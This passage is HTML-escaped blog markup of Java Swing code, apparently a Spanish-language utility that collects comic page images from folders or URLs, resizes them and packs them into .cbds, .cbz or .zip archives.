style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;boolean finalizado, extraer;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Principal principal;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;javax.swing.table.DefaultTableModel modelo;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;static String TEMPORAL = System.getProperty("java.io.tmpdir")+"tmpCony\\";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;static String DESTINO = System.getProperty("user.dir")+"\\";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ZipOutputStream comicBook;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;String formato, proveedor;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public HiloProceso(Principal principal) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try { System.out.println(TEMPORAL);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;this.modelo = principal.modelo;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;this.principal = principal;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;principal.btnAccion.setText("Cancelar");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;finalizado = false;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;indice = 0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;start();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}catch (Exception e) { e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;System.out.println(e.getMessage());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void cancelar() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;finalizado = true;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void run() {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;while( finalizado == false &amp;amp;&amp;amp; indice &amp;lt; modelo.getRowCount()) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if (("Tratar").equalsIgnoreCase(modelo.getValueAt(indice, modelo.findColumn("Estado")).toString())) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (modelo.getValueAt(indice, modelo.findColumn("Titulo")).toString().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt("Sin Nombre", indice, modelo.findColumn("Titulo"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} if (modelo.getValueAt(indice, modelo.findColumn("Autor")).toString().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt("D.R.A.", indice, modelo.findColumn("Autor"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} (new File(TEMPORAL+modelo.getValueAt(indice, modelo.findColumn("Titulo"))+"\\")).mkdirs();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;for(i = 0; i &amp;lt; principal.cBox.getItemCount();i++) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (principal.cBox.getItemAt(i) == (((javax.swing.ImageIcon)modelo.getValueAt(indice, modelo.findColumn("Paquete"))))) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(i == 0) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;formato = ".cbds";&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;if (i == 1) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;formato = ".cbz";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;} else {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;formato = ".zip";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;extraer = archivoComicBook(modelo.getValueAt(indice, modelo.findColumn("Titulo")).toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (extraer == true) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (modelo.getValueAt(indice, modelo.findColumn("Estado")).toString().startsWith("Pag"))&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt("-- "+(nrPag - 1)+" Pgs. --", indice, modelo.findColumn("Estado"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indice++;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} borrarTmp(new File(TEMPORAL));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;principal.btnAccion.setText("Iniciar Proceso de Transformacion");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private boolean archivoComicBook(String nombre) {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try { nrPag = 1;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;i = 0;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;BufferedImage buffy = null;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;java.util.Enumeration dirs = ((java.util.Vector)(modelo.getValueAt(indice, modelo.findColumn("Origen")))).elements();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;String origen = dirs.nextElement().toString();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if((modelo.getValueAt(indice, modelo.findColumn("En Linea")).equals(false))) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;dir = (new File(origen)).listFiles();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;proveedor = System.getProperty("user.name");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;modelo.setValueAt("Pag "+nrPag,indice, modelo.findColumn("Estado"));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;      &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;comicBook = new ZipOutputStream(new FileOutputStream(DESTINO + nombre +formato));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;comicBook.setLevel(java.util.zip.Deflater.NO_COMPRESSION);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;while(!finalizado) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if((modelo.getValueAt(indice, modelo.findColumn("En Linea")).equals(true))){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if (!origen.contains("[%i]") &amp;amp;&amp;amp; i == 1) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;url = new java.net.URL(origen.replace("[%i]", ""+((i == 0)?"":(i-1))));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} buffy = ImageIO.read(url);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;proveedor = url.getHost();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;i++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if( dir[i].getName().toLowerCase().endsWith(".jpeg")&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; || dir[i].getName().toLowerCase().endsWith(".jpg")&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; || dir[i].getName().toLowerCase().endsWith(".png")&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt; &amp;nbsp; || dir[i].getName().toLowerCase().endsWith(".bmp")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;buffy = ImageIO.read(dir[i]); i++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} else {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;i++;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;continue;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (javax.imageio.IIOException e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (i &amp;gt; 1) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;i = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;try {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;origen = dirs.nextElement().toString(); &amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} catch (java.util.NoSuchElementException nse) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;i++;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;continue;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch(java.lang.ArrayIndexOutOfBoundsException e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;        &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (java.lang.NullPointerException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt("Fuente no hallada", indice, modelo.findColumn("Estado"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (java.net.MalformedURLException e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt("Fuente no alcanzada", indice, modelo.findColumn("Estado"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (final Exception e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;modelo.setValueAt(e.getClass().getName(), indice, modelo.findColumn("Estado"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;System.out.println(e.getClass().getName() +" "+e.getMessage());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;break;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;modelo.setValueAt("Pag "+nrPag,indice, modelo.findColumn("Estado"));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (formato.equalsIgnoreCase(".cbds")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("NAME/"+nrPag+".txt"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;File txtNombre = new File(TEMPORAL + nombre +"/book.txt");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;FileOutputStream contenido = new FileOutputStream(txtNombre);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;contenido.write((nombre + " - " + nrPag).getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;contenido.close();&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;fis = new FileInputStream(txtNombre);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("IMAGE/"+nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", false, 700, 1400, 860000);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("SMALL_N/"+nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", false, 256, 192, 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;comicBook.putNextEntry(new ZipEntry("SMALL_R/"+nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", true, 256, 192, 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;comicBook.putNextEntry(new ZipEntry("THMB_N/"+nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", false, 62, 46, 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;comicBook.putNextEntry(new ZipEntry("THMB_R/"+nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", true, 62, 46, 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre 